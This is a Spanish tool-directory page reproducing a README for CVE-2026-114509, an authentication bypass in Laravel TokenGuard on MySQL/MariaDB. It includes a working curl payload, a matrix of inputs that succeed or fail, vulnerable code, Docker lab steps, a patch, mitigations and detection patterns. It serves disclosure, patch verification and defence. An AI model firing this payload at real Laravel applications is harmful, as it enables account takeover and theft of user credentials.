Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-114509-laravel-tokenguard — Prueba de concepto, análisis de causa raíz y laboratorio Docker para CVE-2026-114509, un bypass de autenticación no autenticado en Laravel TokenGuard sobre MySQL/MariaDB que conduce a la toma de control de cuentas. | Kitploit
Herramientas/GitHubGitHub/arioveisa/cve-2026-114509-laravel-tokenguard
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebAutenticaciónLabs y Práctica
GitHubarioveisa/cve-2026-114509-laravel-tokenguard

cve-2026-114509-laravel-tokenguard

Prueba de concepto, análisis de causa raíz y laboratorio Docker para CVE-2026-114509, un bypass de autenticación no autenticado en Laravel TokenGuard sobre MySQL/MariaDB que conduce a la toma de control de cuentas.

Ver Repositorio
hace 28 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer es una plataforma de gestión de accesos privilegiados (PAM) de código abierto que proporciona a los equipos de DevOps y TI acceso seguro y bajo demanda a endpoints SSH, RDP, Kubernetes, base de datos y RemoteApp a través de un navegador web.

    379
  • 5

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motor de OSINT impulsado por IA para descubrir y mapear más de 7.700 identidades en redes sociales en toda la web

    288

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-114509 — Omisión de autenticación en Laravel TokenGuard

Prueba de concepto, análisis y laboratorio reproducible para CVE-2026-114509, una omisión de autenticación no autenticada en TokenGuard de Laravel que conduce a la toma de control de cuentas cuando la aplicación se ejecuta sobre MySQL o MariaDB.

CampoValor
ID de CVECVE-2026-114509
AvisoGHSA-f9x3-7vq9-cph6
CVSS v4.09.2 (Crítica) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H
CWECWE-1287 (Validación incorrecta del tipo de entrada especificado), CWE-287 (Autenticación incorrecta)
Afecta alaravel/framework < 12.68.0, >= 13.0.0, < 13.29.0
Corregido en12.68.0, 13.29.0
VectorCuerpo JSON POST/GET con api_token como un array de enteros
ImpactoOmisión de autenticación, toma de control de cuentas, divulgación de credenciales

TL;DR

Un TokenGuard configurado con driver => token y hash => false acepta una credencial que no es una cadena. Enviar {"api_token":[0]} como cuerpo JSON hace que Laravel construya whereIn('api_token', [0]). MySQL entonces convierte implícitamente la columna varchar a un entero, por lo que todo token que no comience con un dígito se evalúa como 0 y coincide. La primera fila de la tabla users se devuelve a un atacante no autenticado.

curl -s -X GET http://target/api/user \
  -H "Accept: application/json" \
  -H "Content-Type: application/json" \
  -d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}

Causa raíz

Deben estar presentes tres capas independientes para que la explotación sea posible.

Capa 1 — La protección no valida el tipo de credencial

src/Illuminate/Auth/TokenGuard.php (v11.43.0, compilación vulnerable):

$token = $this->getTokenForRequest();

if (! empty($token)) {
    $user = $this->provider->retrieveByCredentials([
        $this->storageKey => $this->hash ? hash('sha256', $token) : $token,
    ]);
}

Solo se comprueba empty(). empty([0]) es false porque el array contiene un solo elemento, por lo que el array pasa directamente al proveedor. No existe una guarda is_string().

Capa 2 — El proveedor expande los arrays en una cláusula IN

src/Illuminate/Auth/EloquentUserProvider.php:

foreach ($credentials as $key => $value) {
    if (is_array($value) || $value instanceof Arrayable) {
        $query->whereIn($key, $value);
    } elseif ($value instanceof Closure) {
        $value($query);
    } else {
        $query->where($key, $value);
    }
}

Un array se interpreta como una lista de valores candidatos, por lo que la consulta se convierte en:

select * from `users` where `api_token` in (0)

Capa 3 — MySQL y MariaDB fuerzan la comparación

api_token es una columna varchar. Comparar una columna de tipo cadena con un entero fuerza una conversión implícita del valor de la columna a un número:

select cast('admin_secret_token_12345' as unsigned);  -- 0
select cast('abc' as unsigned);                        -- 0
select cast('1abc' as unsigned);                       -- 1

Todo token que comienza con una letra se convierte a 0, por lo tanto where api_token in (0) coincide. PostgreSQL y SQLite rechazan o funcionan incorrectamente con esta comparación, por lo que la vulnerabilidad es específica de las bases de datos de la familia MySQL.


Matriz de explotación

Medida contra el laboratorio de este repositorio (Laravel 11.43.0, MySQL 8.0.46).

PayloadTransporteHTTPResultado
(ninguno)—401rechazado
Bearer wrong_tokenheader401rechazado
?api_token=wrongquery string401rechazado
?api_token[]=0query string401rechazado — siempre es una cadena
{"api_token":0}cuerpo JSON401rechazado — empty(0) es true
{"api_token":["0"]}cuerpo JSON401rechazado — string vs varchar
{"api_token":[1]}cuerpo JSON401ninguna fila con el valor convertido 1
{"api_token":[0.5]}cuerpo JSON401discrepancia en la conversión a float
{"api_token":[0]}cuerpo JSON200bypass
{"api_token":[0,1]}cuerpo JSON200bypass

El payload debe llegar como un array tipado genuino. Los query strings y la codificación de formularios siempre producen cadenas, por lo que se requiere el cuerpo JSON.


Reproducción

Se incluye un laboratorio Docker completo. Consulta docs/reproduction.md para el recorrido completo, o ejecútalo directamente:

docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed

Añade el nombre de host del laboratorio a /etc/hosts:

echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts

Luego verifica:

./poc.sh http://angkasagroup.co.id

Impacto

  • Acceso no autenticado a todas las rutas protegidas por auth:api
  • El objeto de usuario coincidente se devuelve en su totalidad, incluida la api_token en texto plano cuando hash => false, lo que hace que el compromiso sea persistente
  • En aplicaciones donde la primera fila de users es un administrador, el bypass otorga privilegios administrativos
  • Encadenado con cualquier endpoint exclusivo para administradores, el resultado es la extracción total de datos

Remediación

Actualización

composer require laravel/framework:^12.68

La corrección es una única comprobación de tipo:

if (is_string($token) && ! empty($token)) {

Mitigaciones temporales

  1. Establezca 'hash' => true en el guard de la API. El almacenamiento con hash convierte el array en un TypeError en lugar de una coincidencia.
  2. Reemplace TokenGuard con Laravel Sanctum o Passport, que resuelven los tokens mediante un índice hash dedicado en lugar de un whereIn sin restricciones.
  3. Añada un middleware que rechace cualquier solicitud en la que api_token no sea una cadena:
if (! is_string(request()->input('api_token'))) {
    abort(401);
}
  1. Restringir el acceso a la base de datos para que las consultas de autenticación no puedan alcanzar una instancia de MySQL con coerción de tipos laxa.

Detección

Los registros de la aplicación mostrarán que la autenticación se realiza con éxito sin un inicio de sesión previo. Busque cuerpos de solicitud JSON donde api_token sea un array en lugar de una cadena:

"api_token":[0]
"api_token":[1]

En la capa de base de datos, habilite el registro general de consultas y configure alertas para:

where `api_token` in (0)

Estructura del repositorio

.
├── README.md              this document
├── docs/
│   ├── CVE-2026-114509.pdf    rendered analysis (this README)
│   └── reproduction.md        step-by-step lab walkthrough
├── docker-compose.yml     nginx + php-fpm + mysql lab
├── docker/
│   ├── Dockerfile
│   ├── nginx.conf
│   └── php.ini
├── src/                   Laravel 11.43.0 application
└── poc.sh                 verification script

Aviso legal

Este repositorio existe para investigación defensiva, verificación de parches y pruebas de seguridad autorizadas. Ejecútalo únicamente contra sistemas que poseas o para los que tengas permiso escrito explícito de probar. El acceso no autorizado a sistemas informáticos es un delito penal en la mayoría de las jurisdicciones.

El laboratorio se enlaza a 127.0.0.1 y está destinado únicamente a uso local.

Descargar herramienta